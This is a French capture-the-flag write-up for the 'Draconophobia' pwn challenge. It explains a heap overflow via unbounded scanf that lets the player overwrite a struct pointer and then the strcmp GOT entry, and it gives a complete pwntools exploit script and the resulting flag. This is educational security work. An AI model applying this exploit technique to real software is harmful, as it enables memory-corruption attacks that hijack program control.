Post

Jean D'Hack 2026 — Draconophobia [Pwn]

CTF : Jean D’Hack 2026 · Catégorie : Pwn · Difficulté : ⭐⭐⭐ Hard
← Retour à l’index du CTF


Description du challenge

Un binaire de type jeu RPG où deux joueurs s’inscrivent pour combattre un dragon.
La fonction lvl_up n’est jamais appelée dans le flux normal.
L’objectif : la déclencher pour obtenir le flag.

Fichier fourni : draconophobia


Analyse statique

Informations de base

file draconophobia # ELF 64-bit LSB executable, x86-64 checksec --file=draconophobia # RELRO: Partial | Stack Canary: No | NX: Yes | PIE: No

Partial RELRO → la GOT (Global Offset Table) est modifiable.
Pas de PIE → adresses fixes.

Structure des données (reverse du pseudo-code)

Le programme alloue deux structures player sur le heap avec malloc() :

struct player { int hp; // 4 octets int atk; // 4 octets char *name_ptr; // 8 octets — pointeur vers un buffer alloué séparément }; // Taille totale : 16 octets

Pour chaque joueur, le programme fait aussi malloc(8) pour stocker le nom. Disposition mémoire :

[Heap bas → haut] ┌─────────────────────────────────┐ │ struct player1 (16 octets) │ ← chunk A ├─────────────────────────────────┤ │ name_buffer1 (8 octets) │ ← chunk B ← scanf écrit ici ├─────────────────────────────────┤ │ struct player2 (16 octets) │ ← chunk C ├─────────────────────────────────┤ │ name_buffer2 (8 octets) │ ← chunk D ← scanf écrit ici aussi └─────────────────────────────────┘

La lecture du nom utilise scanf("%s") — pas de limite de taille → heap overflow depuis name_buffer1.


Calcul de l’offset

On déborde depuis name_buffer1 (chunk B) vers la structure player2 (chunk C).

En tenant compte des headers malloc (8 octets par chunk sur glibc) et de la disposition :

Début de name_buffer1 +8 octets : header malloc du chunk player2 +16 octets : struct player2 (hp, atk) +16 octets : name_ptr de player2 ← on veut écraser ça = offset : 40 octets de padding, puis l'adresse cible

Stratégie : GOT Overwrite

La fonction strcmp est appelée juste après les deux saisies de noms.
Si on remplace l’adresse de strcmp dans la GOT par celle de lvl_up, le prochain appel à strcmp exécutera lvl_up à la place.

Adresse GOT de strcmp : 0x404038 Adresse de lvl_up : 0x401276

Déroulé de l’attaque

Saisie du nom de player1 (heap overflow) :

40 octets de 'A' → écrase hp, atk, et header du chunk player2 + adresse 0x404038 (GOT de strcmp) → écrase name_ptr de player2

Maintenant, player2->name_ptr pointe sur l’entrée GOT de strcmp.

Saisie du nom de player2 :

scanf va écrire à l’adresse contenue dans name_ptr2, qui est maintenant 0x404038.
On écrit l’adresse de lvl_up : 0x401276.

Appel de strcmp :

Le programme appelle strcmp(...). La GOT a été modifiée → il saute en lvl_up → flag.


Exploitation

from pwn import * BINARY = "./draconophobia" GOT_STRCMP = 0x404038 # entrée GOT de strcmp LVL_UP = 0x401276 # adresse de lvl_up p = process(BINARY) # p = remote(...) # Nom du joueur 1 : overflow + adresse GOT strcmp payload1 = b"A" * 40 + p64(GOT_STRCMP) p.sendlineafter(b"Player 1 name", payload1) # Nom du joueur 2 : adresse de lvl_up → sera écrite dans la GOT p.sendlineafter(b"Player 2 name", p64(LVL_UP)) p.interactive()

Résultat

$ python solve_dracono.py [+] Starting local process './draconophobia' *** YOU HAVE DEFEATED THE DRAGON *** JDHACK{41du1n_WIlL_N3v3r_RIs3_AG4In}

Flag

JDHACK{41du1n_WIlL_N3v3r_RIs3_AG4In}

Ce que j’ai retenu

  • Le heap overflow permet d’écraser des pointeurs dans des structures adjacentes, pas seulement des adresses de retour sur la stack.
  • La GOT Overwrite est possible dès que RELRO est Partial (la GOT n’est pas en lecture seule).
  • La puissance de l’attaque vient de la combinaison : déborder le buffer → contrôler un pointeur → écriture arbitraire.
  • Full RELRO est la protection qui bloque cette technique en rendant la GOT non-modifiable après les résolutions initiales.
Cet article est sous licence CC BY 4.0 par t3chw1z4rd.